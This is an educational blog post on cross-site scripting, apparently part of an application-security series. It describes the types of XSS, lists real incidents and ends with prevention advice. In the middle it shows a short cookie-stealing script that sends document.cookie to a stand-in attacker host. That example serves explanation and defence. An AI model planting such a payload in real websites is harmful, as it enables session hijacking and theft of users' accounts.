Cross-site Scripting (XSS) 😈

Β· by

Contents

Cross-site scripting (XSS) is a type of attack on websites where the attacker can make the attacked website deliver JavaScript to the user. This malicious JavaScript is then executed on the user's machine.

Various types of XSS are distinguished:

  • Stored XSS: The attacker can make the website store the XSS, e.g. by crafting a comment on Facebook or a chat message on Twitch which contains the malicious code. The malicious code is then delivered to every new client which accesses the page.
  • Reflected XSS: Some websites allow you to create links that you can share. For example, a Google search. The URL contains the search term and if somebody clicks on that link, Google will show the search term from the link on the page. So Google reflects a parameter of the link on the page. If an attacker changes the search term to contain code, that code could potentially be executed by the browser of any user who clicks on the link.
  • DOM-based XSS: In modern web applications, the logic is mostly in the client. This means the attacker does not have to go to the server-side to do harm. The on-site JavaScript is attacked. In contrast to the reflected XSS, the server didn’t directly cause the issue. The (valid) JavaScript on the page read the attack.

The attack surface is pretty big for modern websites. Any user-supplied data can contain an XSS attack. It could be a comments section, advertisement, the document.referrer, URL fragments, …

Why it Matters

  • XSS is part of the OWASP Top-10, meaning it’s recognized as a common vulnerability
  • There are 14,625 CVE entries for XSS vulnerabilities on mitre.org (source)
  • 2005: MySpace had a worm called Samy. Within 20 hours, the author got one million users to friend him (source). MySpace had to take the site down because of this XSS attack.
  • 2011: Facebook worm allows automatic wall posts (source)
  • 2013: PayPal was vulnerable as discovered by Robert Kugler (source). It was likely possible to create a link which made a payment when you clicked on it, without you needing to interact.
  • 2013: Yahoo was vulnerable to reflected XSS (source)
  • 2016: A researcher found XSS vulnerability on Facebook (source)
  • 2018: Uber was vulnerable to a reflected XSS attack (source). Uber paid $3000 for it.
  • 2019: Steam was vulnerable to a stored XSS attack (source). Steam paid $7500 for it.
  • 2020: Facebook paid $20,000 for finding an XSS attack (source).
  • 2020: Tumblr was vulnerable to a DOM-based XSS attack (source). Automattic paid $350 for it.

Photo by Aarón Blanco Tejedor on UnsplashPhoto by Aarón Blanco Tejedor on Unsplash

How are XSS attacks executed?

There are various ways attackers can do harm: They can make the website unusable if the XSS script is on it. They can run a cryptocurrency miner. They can steal sensitive data.

Let’s see how an attacker can design a cookie stealer for account hijacking.

We just assume that we have a website like Facebook where you can add comments to posts. We assume that the comments are just taken as is and copied to everybody who opens the page. The comment we make is:

<script>
    image = new Image();
    image.src='https://attacker.com/steal?cookie='+document.cookie;
</script>

You can see that this will not do anything — for the other users, this will just look like an empty message. It will not refresh the page. It will not open another window. But it will call https://attacker.com/steal with a GET request which has a cookie parameter. Hence, on the attacker's side, there only needs to be a web server that is reachable and logs those requests. After that, the attacker can use the cookie and impersonate the victim. The attacker doesn’t know the victim's credentials but has hijacked the session instead.

What can I do to prevent XSS attacks?

Never blindly trust user data. Remove potentially harmful parts, escape parts that will change the expected output. You might want to remove <script> tags or replace < by &lt;. It’s not enough, though. You can also execute JavaScript with the onload attribute. That attribute can be added to many or even all HTML tags.

Various languages have methods to escape those:

Also, make sure you do that as early as possible. There should be a secure way to use data from the database — and that should not require knowing that there is potentially harmful data within it. So escape the data before you put it in the DB. Make sure escaping is idempotent — escaping two times should be the same as escaping once. If you really think you need the original somewhere, you can have a _raw field in the database. Or you have a data access layer (DAL) that takes care of the escaping.

Remember to sanitize ALL user inputs, not only stuff that was in input fields. Don’t forget about URL fragments and Document.referrer.

See also

I love Tom Scott and Computerphile, and they made a video about the topic!

More in this series

In this series about application security (AppSec), we already explained some of the techniques of the attackers 😈 and also techniques of the defenders πŸ˜‡:

The following articles are about to come:

  • Part 18: Secure Messaging πŸ˜‡
  • Part 19: Cryptojacking 😈
  • Part 20: Backups πŸ˜‡
  • Part 21: Cryptotrojans 😈
  • Part 22: Single-Sign-On πŸ˜‡
  • Part 23: Clipboard Hijacking 😈
  • Part 24: Certificates πŸ˜‡
  • Part 25: Race Condition Attacks in Blockchains 😈
  • Part 26: Mobile Device Management (MDM) πŸ˜‡
  • Part 27: Server-Side Request Forgery (SSRF) 😈
  • Part 28: Network Separation πŸ˜‡
  • Part 29: Social Engineering (including Phishing) 😈
  • Part 30: Virtual Private Networks (VPNs) πŸ˜‡
  • Part 31: CSRF 😈

Let me know if you are interested in more articles around AppSec / InfoSec!